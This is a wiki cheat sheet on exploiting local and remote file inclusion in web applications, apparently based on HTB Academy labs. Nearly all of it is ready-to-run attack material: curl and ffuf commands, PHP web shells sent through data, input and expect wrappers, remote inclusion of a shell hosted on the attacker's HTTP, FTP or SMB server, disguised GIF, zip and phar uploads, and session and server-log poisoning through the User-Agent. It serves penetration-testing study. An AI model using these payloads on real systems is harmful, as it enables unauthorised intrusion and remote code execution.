Bug Culture Wiki
Contents:
  1. Local File Inclusion
    1. Automated Scanning
    2. LFI Functions
      1. PHP Functions
      2. NodeJS Functions
      3. Java Functions
      4. .NET Functions
    3. Fuzzing Parameters
    4. LFI Wordlists
    5. Second-Order Attacks
    6. Basic Bypasses
    7. PHP Filters
    8. PHP Wrappers
      1. Data Wrapper
      2. Input Wrapper
      3. Expect Wrapper
    9. Remote File Inclusion
      1. RCE with RFI
    10. FTP
    11. SMB
    12. LFI and File Uploads
    13. Zip Upload
    14. Phar Upload
    15. Log Poisoning
    16. PHP Session Poisoning
    17. Server Log Poisoning

Local File Inclusion

Automated Scanning

It is essential to understand how file inclusion attacks work and how to manually craft advanced payloads and use custom techniques to achieve remote code execution. In many cases, exploiting the vulnerability requires a custom payload that matches specific configurations. Additionally, when dealing with security measures like a WAF or firewall, you must analyze how certain payloads or characters are blocked and then craft a custom payload to bypass those measures.

LFI Functions

PHP Functions

Function Read Content Execute Remote URL
include()/include_once() βœ… βœ… βœ…
require()/require_once() βœ… βœ… ❌
file_get_contents() βœ… ❌ βœ…
fopen()/file() βœ… ❌ ❌

NodeJS Functions

Function Read Content Execute Remote URL
fs.readFile() βœ… ❌ ❌
fs.sendFile() βœ… ❌ ❌
res.render() βœ… βœ… ❌

Java Functions

Function Read Content Execute Remote URL
include βœ… ❌ ❌
import βœ… βœ… βœ…

.NET Functions

Function Read Content Execute Remote URL
@Html.Partial() βœ… ❌ ❌
@Html.RemotePartial() βœ… ❌ βœ…
Response.WriteFile() βœ… ❌ ❌
include βœ… βœ… βœ…

Fuzzing Parameters

HTML forms on the front-end are often well secured against attacks. However, many web pages have exposed parameters not linked to any form. These parameters may not be as secure as public ones. It is important to fuzz for such exposed parameters.

Fuzz for common parameters:

ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287

LFI Wordlists

A good wordlist for LFI testing is LFI-Jhaddix.txt. It contains various bypass techniques and common file paths, enabling you to run several tests simultaneously.

ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287

Return here if you actually find one – refer to HTB Academy Page for more details.

Second-Order Attacks

Second-order LFI attacks occur when a web application insecurely pulls files from the back-end server based on user-controlled parameters. For example, if a URL like /profile/$username/avatar.png is used to fetch an avatar, a malicious username (e.g. ../../../etc/passwd) could change the file being pulled. In this scenario, you poison a database entry with an LFI payload in your username, and another functionality (like the avatar download) uses that poisoned entry. Developers often overlook these vulnerabilities because they trust values retrieved from a database.

Basic Bypasses

Some simple bypass techniques include:

  • Using path traversal sequences, e.g.:

    ....//....//....//....//....//....//flag.txt
    
  • URL encode or double encode your payload.

_Refer to File Inclusion/Path Traversal HackTricks for more details._

PHP Filters

PHP Filters are a type of PHP wrapper that allows you to pass input through a specified filter. Use the php:// scheme to access PHP filter wrappers.

Input Filters:
The resource parameter specifies the file to be filtered and the read parameter specifies the filter to apply.

Fuzzing for PHP Files:

/opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php

Base64 PHP Filter:
This filter base64 encodes a PHP file so that its source code is revealed instead of being executed.

php://filter/read=convert.base64-encode/resource=config

Note: The resource file is appended with .php automatically, making it config.php.

PHP Wrappers

Data Wrapper

You can check PHP configurations via LFI. For example, to read the PHP configuration file for Apache or Nginx:

curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"

Then, verify if allow_url_include is enabled:

echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include

If enabled, you can use the data wrapper to include external PHP code. For example, encode a simple web shell:

echo '<?php system($_GET["cmd"]); ?>' | base64

Then URL encode and pass it via:

curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id'

Input Wrapper

The input wrapper passes data via a POST request.

curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"

Note: If the function only accepts POST, embed the command in the PHP code (e.g. <?php system('id')?>).

Expect Wrapper

The expect wrapper allows direct command execution through URL streams. It must be installed on the back-end.

Check for expect:

echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect

Test using expect:

curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"

Example flag retrieval:

curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://83.136.252.57:59215/index.php?language=php://input&cmd=cat+/37809e2f8952f06139011994726d9ef1.txt" | grep HTB

Remote File Inclusion

Almost all RFIs are also LFIs, but not all LFIs support remote file inclusion due to:

  1. The vulnerable function not allowing remote URLs.
  2. Limited control over the filename (only part of the protocol wrapper).
  3. Server configuration preventing RFI.

Verifying an RFI:

Ensure allow_url_include is enabled:

echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include

If enabled, test by including a local URL (e.g., http://127.0.0.1:80/index.php). If the page is executed and rendered as PHP, it indicates that PHP execution is allowed.

RCE with RFI

  1. Set up your shell:

     echo '<?php system($_GET["cmd"]); ?>' > shell.php
    
  2. Listen for incoming connections:

     sudo python3 -m http.server <LISTENING_PORT>
    
  3. Include your shell via RFI:

     http://server:port/index.php?language=http://our_ip:port/shell.php&cmd=id
    

Tip: Check for extra extensions appended to your request and adjust your payload accordingly.

FTP

You can also host your script via FTP if HTTP ports are blocked or the http:// string is filtered.

  1. Start a basic FTP server:

     sudo python -m pyftpdlib -p 21
    
  2. Include your script using the FTP scheme:

     http://server:port/index.php?language=ftp://our_ip:port/shell.php&cmd=id
    
  3. For servers requiring authentication:

     curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
    

SMB

If the target is a Windows server, you might exploit RFI using SMB even if allow_url_include is disabled.

  1. Start an SMB server with:

     impacket-smbserver -smb2support share $(pwd)
    
  2. Include your script using a UNC path (e.g., \\<OUR_IP>\share\shell.php) and pass a command with &cmd=whoami.

Note: This method is more likely to work on the same network.

LFI and File Uploads

For some attacks, you don’t need the file upload form to be vulnerableβ€”only that it allows file uploads. If the vulnerable function executes code, uploading a file containing PHP code (even if disguised as an image) can lead to remote code execution.

Image Uploads:

Craft a malicious image with an allowed extension (e.g., shell.gif) and include valid image magic bytes (e.g., GIF8):

echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

Note: The uploaded file’s URL path is required to include it. Adjust the path accordingly (e.g., ./profile_images/).

Zip Upload

PHP-only techniques may also involve using PHP wrappers like the zip wrapper to execute PHP code.

  1. Create a PHP web shell and zip it into an archive named shell.jpg:

     echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
    

Note: Some upload forms may detect the file as a zip archive even if renamed, so this method works best when zip uploads are allowed.

Phar Upload

You can also use the phar:// wrapper to execute PHP code. First, create a PHP script (e.g., shell.php) with the following content:

<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

Compile the script into a phar file and rename it:

php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

After uploading, include it using the phar:// wrapper and target the sub-file (e.g., /shell.txt) to execute commands with &cmd=id.

Log Poisoning

Log poisoning involves injecting PHP code into a field you control that gets written into a log file. Later, including that log file via LFI can execute the injected PHP code. This attack requires the web application to have read-access to the log files.

PHP Session Poisoning

Most PHP web applications use PHPSESSID cookies to store session data on the back-end. These session files are typically stored in:

  • Linux: /var/lib/php/sessions/
  • Windows: C:\Windows\Temp\

The session file name is derived from the PHPSESSID cookie (prefixed with sess_). For example, if the cookie is el4ukv0kqbvoirg7nkp4dncpk3, the file is /var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3.

Steps to Poison a Session File:

  1. Examine the session file to identify controllable data (e.g., via the ?language= parameter).
  2. Set a custom value (e.g., ?language=session_poisoning) and verify the change in the session file.
  3. Poison the session by writing PHP code to it. For example, use a URL-encoded web shell:

     http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
    
  4. Include the session file and execute commands using &cmd=id.

Note: The session file will be overwritten on each inclusion, so the poisoning step must be repeated or used to create a permanent web shell.

Server Log Poisoning

Both Apache and Nginx maintain log files (e.g., access.log and error.log). Since you can control headers like User-Agent, you can inject PHP code into these logs.

Considerations:

  • Access Rights: Nginx logs are often readable by low-privileged users (e.g., www-data), while Apache logs may require higher privileges.
  • Default Locations:
    • Apache: /var/log/apache2/ (Linux) or C:\xampp\apache\logs\ (Windows)
    • Nginx: /var/log/nginx/ (Linux) or C:\nginx\log\ (Windows)
  • Efficiency: Logs can be large, so be cautious to avoid overloading the server.

Example using curl with a poisoned User-Agent:

curl -s "http://<SERVER_IP>:<PORT>/index.php" -A "<?php system($_GET['cmd']); ?>"

Once the log contains the PHP code, including it via LFI allows you to execute commands with ?cmd=id.

Other Logs to Consider:

  • /var/log/sshd.log
  • /var/log/mail
  • /var/log/vsftpd.log

Tip: The User-Agent header is also present in process files under /proc/ (e.g., /proc/self/environ or /proc/self/fd/N), which can be targeted if log files are inaccessible.